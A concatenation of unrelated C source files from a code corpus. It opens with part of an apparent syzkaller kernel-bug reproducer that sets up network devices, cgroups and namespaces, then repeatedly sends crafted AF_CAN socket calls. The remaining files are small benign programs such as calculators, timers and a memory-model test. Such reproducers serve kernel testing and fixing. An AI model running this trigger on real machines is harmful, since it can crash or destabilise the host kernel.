netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0",
"veth1_virt_wifi");
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S,
IPVLAN_F_VEPA);
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
char addr[32];
sprintf(addr, DEV_IPV4, 14 + 10);
struct in_addr geneve_addr4;
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
exit(1);
struct in6_addr geneve_addr6;
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
exit(1);
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
netdevsim_add((int)procid, 4);
netlink_wireguard_setup();
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize, NULL);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true}, {"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(&nlmsg, sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(&nlmsg, sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr,
macsize, NULL);
}
close(sock);
}
#define MAX_FDS 30
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma");
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/memory.low", cgroupdir);
write_file(file, "%d", 298 << 20);
snprintf(file, sizeof(file), "%s/memory.high", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.max", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
setup_cgroups();
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
drop_caps();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_netdevices();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_loop()
{
setup_cgroups_loop();
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
}
static void close_fds()
{
int fd;
for (fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
for (call = 0; call < 4; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 45);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
close_fds();
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter;
for (iter = 0;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
res = syscall(__NR_socket, 0x1dul, 2ul, 2);
if (res != -1)
r[0] = res;
break;
case 1:
NONFAILING(memcpy((void*)0x20000400,
"vxcan0\000\000\000\000\000\000\000\000\000\000", 16));
NONFAILING(*(uint32_t*)0x20000410 = 0);
res = syscall(__NR_ioctl, r[0], 0x8933, 0x20000400ul);
if (res != -1)
NONFAILING(r[1] = *(uint32_t*)0x20000410);
break;
case 2:
NONFAILING(*(uint16_t*)0x20000140 = 0x11);
NONFAILING(*(uint16_t*)0x20000142 = htobe16(0));
NONFAILING(*(uint32_t*)0x20000144 = r[1]);
NONFAILING(*(uint16_t*)0x20000148 = 1);
NONFAILING(*(uint8_t*)0x2000014a = 0);
NONFAILING(*(uint8_t*)0x2000014b = 6);
NONFAILING(*(uint8_t*)0x2000014c = 0);
NONFAILING(*(uint8_t*)0x2000014d = 0);
NONFAILING(*(uint8_t*)0x2000014e = 0);
NONFAILING(*(uint8_t*)0x2000014f = 0);
NONFAILING(*(uint8_t*)0x20000150 = 0);
NONFAILING(*(uint8_t*)0x20000151 = 0);
NONFAILING(*(uint8_t*)0x20000152 = 0);
NONFAILING(*(uint8_t*)0x20000153 = 0);
syscall(__NR_connect, r[0], 0x20000140ul, 0x80ul);
break;
case 3:
NONFAILING(*(uint64_t*)0x200000c0 = 0);
NONFAILING(*(uint32_t*)0x200000c8 = 0);
NONFAILING(*(uint64_t*)0x200000d0 = 0x20000080);
NONFAILING(*(uint64_t*)0x20000080 = 0x20000000);
NONFAILING(memcpy(
(void*)0x20000000,
"\x01\x00\x00\x00\x03\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
16));
NONFAILING(*(uint64_t*)0x20000010 = 0);
NONFAILING(*(uint64_t*)0x20000018 = 0);
NONFAILING(*(uint64_t*)0x20000020 = 0);
NONFAILING(*(uint64_t*)0x20000028 = r[1]);
NONFAILING(memcpy((void*)0x20000030, "\x00\x00\x00\x00\x01", 5));
NONFAILING(*(uint64_t*)0x20000088 = 0x80);
NONFAILING(*(uint64_t*)0x200000d8 = 1);
NONFAILING(*(uint64_t*)0x200000e0 = 0);
NONFAILING(*(uint64_t*)0x200000e8 = 0);
NONFAILING(*(uint32_t*)0x200000f0 = 0);
syscall(__NR_sendmsg, r[0], 0x200000c0ul, 0ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/248581011.c
|
#include <stdio.h>
#include <ctype.h>
#include <math.h>
#include <string.h>
#define STACKSIZE 100
#define MAXOP 100
#define BUFSIZE 100
#define NUMBER '0'
char buf[BUFSIZE];
int bufp = 0;
double stack[STACKSIZE];
int sp = 0;
double my_atof(char s[]);
double pop(void);
void push(double var);
int getop(char s[]);
int getch(void);
void ungetch(int c);
void ungets(char s[]);
main(int argc, char *argv[])
{
char t[MAXOP];
double tmp;
while (--argc > 0) {
ungets(" ");
ungets(*++argv);
switch (getop(t))
{
case NUMBER:
push(my_atof(t));
break;
case '+':
push(pop() + pop());
break;
case '-':
tmp = pop();
push(pop() - tmp);
break;
case '*':
push(pop() * pop());
break;
case '/':
tmp = pop();
if (tmp + 0 != 0) {
push(pop() / tmp);
}
else {
printf("Error: Zero Divisior\n");
}
break;
case '%':
tmp = pop();
if (tmp + 0 != 0) {
push(fmod(pop(), tmp));
}
else {
printf("Error: Zero Divisior\n");
}
break;
//case '\n':
// printf("\t%.8g\n", pop());
// break;
default:
printf("Error: Unknown command %s\n", t);
argc = 1;
break;
}
}
printf("\t%.8g\n", pop());
return 0;
}
double pop(void)
{
if (sp > 0) {
return stack[--sp];
}
else {
printf("Error: Empty Stack.\n");
return 0.0;
}
}
void push(double var)
{
if (sp >= STACKSIZE) {
printf("Error: Stack is Full, Can't Push %g\n", var);
}
else {
stack[sp++] = var;
}
}
int getop(char s[])
{
int i;
int c;
while ((s[0] = c = getch()) == ' ' || c == '\t') {
;
}
s[1] = '\0';
if (!isdigit(c) && c != '.' && c != '-') {
return c;
}
i = 0;
if (c == '-') {
if (isdigit(c = getch()) || c == '.') {
s[++i] = c;
}
else {
if (c != EOF) {
ungetch(c);
}
return '-';
}
}
if (isdigit(c)) {
while (isdigit(s[++i] = c = getch())) {
;
}
}
if (c == '.') {
while (isdigit(s[++i] = c = getch())) {
;
}
}
s[i] = '\0';
if (c != EOF) {
ungetch(c);
}
return NUMBER;
}
double my_atof(char s[])
{
double val, power;
int exp;
int i, sign;
for (i = 0; isspace(s[i]); ++i) {
;
}
sign = (s[i] == '-') ? (-1) : 1;
if (s[i] == '-' || s[i] == '+') {
++i;
}
for (val = 0.0; isdigit(s[i]); ++i) {
val = 10.0 * val + (s[i] - '0');
}
if (s[i] == '.') {
++i;
}
for (power = 1.0; isdigit(s[i]); ++i) {
val = 10.0 * val + (s[i] - '0');
power *= 10.0;
}
val = sign * val / power;
if (s[i] == 'e' || s[i] == 'E') {
++i;
sign = (s[i] == '-') ? (-1) : 1;
if (s[i] == '+' || s[i] == '-') {
++i;
}
for (exp = 0; isdigit(s[i]); ++i) {
exp = 10 * exp + (s[i] - '0');
}
if (sign == 1) {
while (exp-- > 0) {
val *= 10;
}
}
else {
while (exp-- > 0) {
val /= 10;
}
}
}
return val;
}
int getch(void)
{
return (bufp > 0) ? buf[--bufp] : getchar();
}
void ungetch(int c)
{
if (bufp < BUFSIZE) {
buf[bufp++] = c;
}
else {
printf("Error; Buff is Full\n");
}
}
void ungets(char s[])
{
int len;
len = strlen(s);
while (len-- > 0) {
ungetch(s[len]);
}
}
|
the_stack_data/153268566.c
|
#include <stdio.h>
#include <stdlib.h>
#define adder "add"
int main()
{
int a,b=0;
char operand[256];
scanf("%d %s %d", &a,operand, &b);
if(!strcmp(operand,"add")){
a+=b;
printf("%d\n",a);
}else if (!strcmp(operand,"sub")){
a-=b;
printf("%d\n",a);
}else if (!strcmp(operand,"mul")){
a*=b;
printf("%d\n",a);
}else if (!strcmp(operand, "div")){
a/=b;
printf("%d\n",a);
}else if(!strcmp(operand, "mod")){
a%=b;
printf("%d\n",a);
}else{
printf("error");
}
return 0;
}
|
the_stack_data/915530.c
|
/*
*
* program to compare the output of the MD program
*
*/
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#define Nbody 4 * 1024
#define WARN_LEVEL 0.001
#define ERROR_LEVEL 0.05
double error(double v1, double v2) {
// Test if NaN exists
if (isnan(v1) != isnan(v2)) {
printf("Unmatched NaN detected\n");
return 1.;
}
double diff = fabs(v1 - v2);
double sum = fabs(v1 + v2);
if (sum != 0.0) {
// normalise
diff = diff / sum;
}
return diff;
}
int main(int argc, char *argv[]) {
int i;
double q1, q2, q3, q4, q5, q6, q7, q8;
double t1, t2, t3, t4, t5, t6, t7, t8;
double d1, d2, d3, d4, d5, d6, d7, d8, dt;
double max;
FILE *in, *in2;
int status = 0;
if (argc != 3) {
fprintf(stderr, "useage:%s file1 file2\n", argv[0]);
exit(1);
}
/* read data from the file */
in = fopen(argv[1], "r");
if (!in) {
perror(argv[1]);
exit(1);
}
in2 = fopen(argv[2], "r");
if (!in2) {
perror(argv[2]);
exit(1);
}
max = 0.0;
for (i = 0; i < Nbody; i++) {
fscanf(in, "%16le%16le%16le%16le%16le%16le%16le%16le\n", &q1, &q2, &q3, &q4,
&q5, &q6, &q7, &q8);
fscanf(in2, "%16le%16le%16le%16le%16le%16le%16le%16le\n", &t1, &t2, &t3,
&t4, &t5, &t6, &t7, &t8);
d1 = error(t1, q1);
d2 = error(t2, q2);
d3 = error(t3, q3);
d4 = error(t4, q4);
d5 = error(t5, q5);
d6 = error(t6, q6);
d7 = error(t7, q7);
d8 = error(t8, q8);
dt = d1 + d2 + d3 + d4 + d5 + d6 + d7 + d8;
if (dt > WARN_LEVEL) {
if (dt > max) {
printf("!!!New max!!!\n");
}
printf("%d< %16.8E%16.8E%16.8E%16.8E%16.8E%16.8E%16.8E%16.8E\n", i, q1,
q2, q3, q4, q5, q6, q7, q8);
printf("%d> %16.8E%16.8E%16.8E%16.8E%16.8E%16.8E%16.8E%16.8E\n", i, t1,
t2, t3, t4, t5, t6, t7, t8);
printf("%d: %16.8E%16.8E%16.8E%16.8E%16.8E%16.8E%16.8E%16.8E\n", i, d1,
d2, d3, d4, d5, d6, d7, d8);
printf("\n");
}
if (dt > max) {
max = dt;
}
}
fclose(in);
fclose(in2);
printf("max=%lf\n", max);
if (max > ERROR_LEVEL) {
return 1;
} else {
return 0;
}
}
|
the_stack_data/109599.c
|
/*
* Copyright (c) 2015 Florian Limberger <[email protected]>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <errno.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "error.h"
static char *pname;
void
setpname(char *name)
{
pname = name;
}
char *
getpname(void)
{
return pname;
}
static inline
void
vwarn(const char *fmt, va_list al)
{
fflush(NULL);
if (pname != NULL)
fprintf(stderr, "%s: ", pname);
vfprintf(stderr, fmt, al);
if (fmt[0] != '\0' && fmt[strlen(fmt) - 1] == ':')
fprintf(stderr, " %s", strerror(errno));
fprintf(stderr, "\n");
}
void
warn(const char *fmt, ...)
{
va_list al;
va_start(al, fmt);
vwarn(fmt, al);
va_end(al);
}
void
die(const char *fmt, ...)
{
va_list al;
va_start(al, fmt);
vwarn(fmt, al);
va_end(al);
exit(2);
}
void
panic(const char *fmt, ...)
{
va_list al;
va_start(al, fmt);
vwarn(fmt, al);
va_end(al);
abort();
}
|
the_stack_data/606292.c
|
#include <utmpx.h>
int sched_getcpu();
int findmycpu_ ()
{
int cpu;
cpu = sched_getcpu();
return cpu;
}
|
the_stack_data/307947.c
|
#include <sys/types.h>
#include <sys/times.h>
/*********************************************************************/
/* */
/* current processor time in seconds */
/* difference between two calls is processor time spent by your code */
/* needs: <sys/types.h>, <sys/times.h> */
/* depends on compiler and OS */
/* */
/*********************************************************************/
float timer()
{ struct tms hold;
times(&hold);
return (float)(hold.tms_utime) / 60.0;
}
|
the_stack_data/31387594.c
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define UNLIMIT
#define MAXARRAY 10000 /* this number, if too large, will cause a seg. fault!! */
struct myStringStruct {
char qstring[128];
};
int compare(const void *elem1, const void *elem2)
{
int result;
result = strcmp((*((struct myStringStruct *)elem1)).qstring, (*((struct myStringStruct *)elem2)).qstring);
return (result < 0) ? 1 : ((result == 0) ? 0 : -1);
}
int
main(int argc, char *argv[]) {
struct myStringStruct array[MAXARRAY];
FILE *fp;
int i,count=0;
if (argc<2) {
fprintf(stderr,"Usage: qsort_small <file>\n");
exit(-1);
}
else {
fp = fopen(argv[1],"r");
while((fscanf(fp, "%s", &array[count].qstring) == 1) && (count < MAXARRAY)) {
count++;
}
}
printf("\nSorting %d elements.\n\n",count);
qsort(array,count,sizeof(struct myStringStruct),compare);
for(i=0;i<count;i++)
printf("%s\n", array[i].qstring);
return 0;
}
|
the_stack_data/26701493.c
|
void fence()
{
asm("sync");
}
void lwfence()
{
asm("lwsync");
}
void isync()
{
asm("isync");
}
int __unbuffered_cnt = 0;
int __unbuffered_p3_EAX = 0;
int __unbuffered_p3_EBX = 0;
int a = 0;
int b = 0;
int x = 0;
int y = 0;
int z = 0;
void *P0(void *arg)
{
b = 1;
x = 1;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
void *P1(void *arg)
{
x = 2;
y = 1;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
void *P2(void *arg)
{
y = 2;
z = 1;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
void *P3(void *arg)
{
z = 2;
a = 1;
__unbuffered_p3_EAX = a;
__unbuffered_p3_EBX = b;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
int main()
{
__CPROVER_ASYNC_0:
P0(0);
__CPROVER_ASYNC_1:
P1(0);
__CPROVER_ASYNC_2:
P2(0);
__CPROVER_ASYNC_3:
P3(0);
__CPROVER_assume(__unbuffered_cnt == 4);
fence();
// EXPECT:exists
__CPROVER_assert(
!(x == 2 && y == 2 && z == 2 && __unbuffered_p3_EAX == 1 &&
__unbuffered_p3_EBX == 0),
"Program proven to be relaxed for X86, model checker says YES.");
return 0;
}
|
the_stack_data/61076372.c
|
#include <stdbool.h>
#include <stdio.h>
_Noreturn void _panic(const char* msg, const char* file, int line, const char* fn) {
printf("PANIC: %s (%s:%d in %s)\n", msg, file, line, fn);
while (true) {
asm volatile("hlt");
}
}
|
the_stack_data/117329268.c
|
#include <stdio.h>
double harmonic_mean(double x, double y);
int main(void)
{
double x, y, mean;
printf("Enter two numbers for calculating their harmonic_mean, q to quit: \n");
while (scanf("%lf %lf", &x, &y) == 2)
{
mean = harmonic_mean(x, y);
printf("The harmonic mean of %.4lf and %.4lf is %.4lf\n", x, y, mean);
printf("Enter two numbers for calculating their harmonic_mean, q to quit: \n");
}
printf("Bye.\n");
return 0;
}
double harmonic_mean(double x, double y)
{
return 1.0 / ((1.0 / x + 1.0 / y) / 2.0);
}
|
the_stack_data/67324361.c
|
int main () {
int* b;
int* c;
int a;
a = (b - c) + 4;
//a = (b+2) - (b+3);
}
|
the_stack_data/144485.c
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#define NUM_CHARS 80
void array_elaboration(char * array, int dimension);
int main(int argc, char *argv[]) {
char c;
int counter = 0;
int sonNumber = 0;
char * char_array = calloc(NUM_CHARS, sizeof(char));
if(char_array == NULL){
perror("Errore in calloc");
exit(1);
}
while((c = getchar()) != '\n'){
char_array[counter] = c;
counter += 1;
if(counter == NUM_CHARS){
switch(fork()){
case 0:
array_elaboration(char_array, NUM_CHARS);
exit(0);
break;
case -1:
printf("fork() ha fallito! niente processo figlio!\n");
exit(1);
break;
default:
for(int i = 0; i < NUM_CHARS; i++){
char_array[i] = 0;
}
counter = 0;
sonNumber += 1;
break;
}
}
}
printf("Il processo padre ha lanciato %d processi figli.\n\n", sonNumber);
for(int i = 0; i < sonNumber; i++){
wait(NULL);
}
printf("Tutti i figli hanno terminato, ora chiudo anche il padre.\n");
return 0;
}
void array_elaboration(char * array, int dimension){
int pid = getpid();
char min = array[0];
char max = array[0];
int posOfMax = 0;
int posOfMin = 0;
int counter = 0;
char * support_array = calloc(dimension, sizeof(char));
int * occurrences = calloc(dimension, sizeof(int));
if(support_array == NULL || occurrences == NULL){
perror("Errore in calloc");
exit(1);
}
for(int i = 1; i < dimension; i++){
if(array[i] < min){
min = array[i];
}
if(array[i] > max){
max = array[i];
}
}
for(int i = 0; i < dimension; i++){
for(int j = 0; j <= counter; j++){
if(array[i] == support_array[j]){
occurrences[j] += 1;
break;
}
if(j == counter){
support_array[j] = array[i];
occurrences[j] += 1;
counter++;
break;
}
}
}
for(int i = 0; i < counter; i++){
if(occurrences[i] < occurrences[posOfMin]){
posOfMin = i;
}
if(occurrences[i] > occurrences[posOfMax]){
posOfMax = i;
}
}
printf("Il figlio con PID %d ha elaborato le seguenti informazioni:\n", pid);
printf("Carattere minimo: '%c' \n",min);
printf("Carattere massimo: '%c' \n",max);
printf("Carattere con meno occorrenze: '%c' (%d)\n", support_array[posOfMin], occurrences[posOfMin]);
printf("Carattere con piu` occorrenze: '%c'(%d)\n\n\n", support_array[posOfMax], occurrences[posOfMax]);
}
|
the_stack_data/178265953.c
|
/* crypto/dsa/dsa_gen.c */
/* Copyright (C) 1995-1998 Eric Young ([email protected])
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young ([email protected]).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson ([email protected]).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
